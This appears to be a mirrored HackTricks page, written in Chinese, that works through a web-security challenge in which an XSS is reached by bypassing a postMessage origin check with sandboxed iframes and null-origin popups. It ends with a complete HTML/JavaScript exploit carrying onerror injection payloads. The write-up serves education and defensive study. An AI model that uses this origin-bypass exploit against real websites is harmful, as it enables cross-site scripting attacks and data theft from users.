mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
73 lines
3.4 KiB
Markdown
73 lines
3.4 KiB
Markdown
# Bypassing SOP with Iframes - 1
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Iframes in SOP-1
|
||
|
||
在这个[**挑战**](https://github.com/terjanq/same-origin-xss)中,由[**NDevTK**](https://github.com/NDevTK)和[**Terjanq**](https://github.com/terjanq)创建,你需要利用编码中的XSS进行攻击。
|
||
```javascript
|
||
const identifier = "4a600cd2d4f9aa1cfb5aa786"
|
||
onmessage = (e) => {
|
||
const data = e.data
|
||
if (e.origin !== window.origin && data.identifier !== identifier) return
|
||
if (data.type === "render") {
|
||
renderContainer.innerHTML = data.body
|
||
}
|
||
}
|
||
```
|
||
主要问题是[**主页面**](https://so-xss.terjanq.me)使用DomPurify发送`data.body`,因此为了将自己的html数据发送到该代码中,需要**绕过**`e.origin !== window.origin`。
|
||
|
||
让我们看看他们提出的解决方案。
|
||
|
||
### SOP 绕过 1 (e.origin === null)
|
||
|
||
当`//example.org`嵌入到一个**沙箱iframe**中时,页面的**origin**将是**`null`**,即**`window.origin === null`**。因此,仅通过`<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`嵌入iframe,我们可以**强制`null` origin**。
|
||
|
||
如果页面是**可嵌入的**,你可以通过这种方式绕过该保护(cookies可能也需要设置为`SameSite=None`)。
|
||
|
||
### SOP 绕过 2 (window.origin === null)
|
||
|
||
较少人知的是,当**沙箱值`allow-popups`被设置**时,**打开的弹出窗口**将**继承**所有**沙箱属性**,除非设置`allow-popups-to-escape-sandbox`。\
|
||
因此,从**null origin**打开**弹出窗口**将使**弹出窗口内的`window.origin`**也为**`null`**。
|
||
|
||
### 挑战解决方案
|
||
|
||
因此,对于这个挑战,可以**创建**一个**iframe**,**打开一个弹出窗口**到具有易受攻击的XSS代码处理程序的页面(`/iframe.php`),因为`window.origin === e.origin`因为两者都是`null`,可以**发送一个有效载荷来利用XSS**。
|
||
|
||
该**有效载荷**将获取**标识符**并将**XSS**发送**回顶部页面**(打开弹出窗口的页面),**这将**使**位置**更改为**易受攻击的**`/iframe.php`。因为标识符是已知的,所以不管条件`window.origin === e.origin`是否满足都无关紧要(记住,origin是来自iframe的**弹出窗口**,其**origin**为**`null`**),因为`data.identifier === identifier`。然后,**XSS将再次触发**,这次在正确的origin中。
|
||
```html
|
||
<body>
|
||
<script>
|
||
f = document.createElement("iframe")
|
||
|
||
// Needed flags
|
||
f.sandbox = "allow-scripts allow-popups allow-top-navigation"
|
||
|
||
// Second communication with /iframe.php (this is the top page relocated)
|
||
// This will execute the alert in the correct origin
|
||
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
|
||
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
|
||
},1000);`.replaceAll("\n", " ")
|
||
|
||
// Initial communication
|
||
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
|
||
// Then, bypass window.origin === e.origin to steal the identifier and communicate
|
||
// with the top with the second XSS payload
|
||
f.srcdoc = `
|
||
<h1>Click me!</h1>
|
||
<script>
|
||
onclick = e => {
|
||
let w = open('https://so-xss.terjanq.me/iframe.php');
|
||
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
|
||
setTimeout(_ => {
|
||
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
|
||
}, 1000);
|
||
};
|
||
<\/script>
|
||
`
|
||
document.body.appendChild(f)
|
||
</script>
|
||
</body>
|
||
```
|
||
{{#include ../../banners/hacktricks-training.md}}
|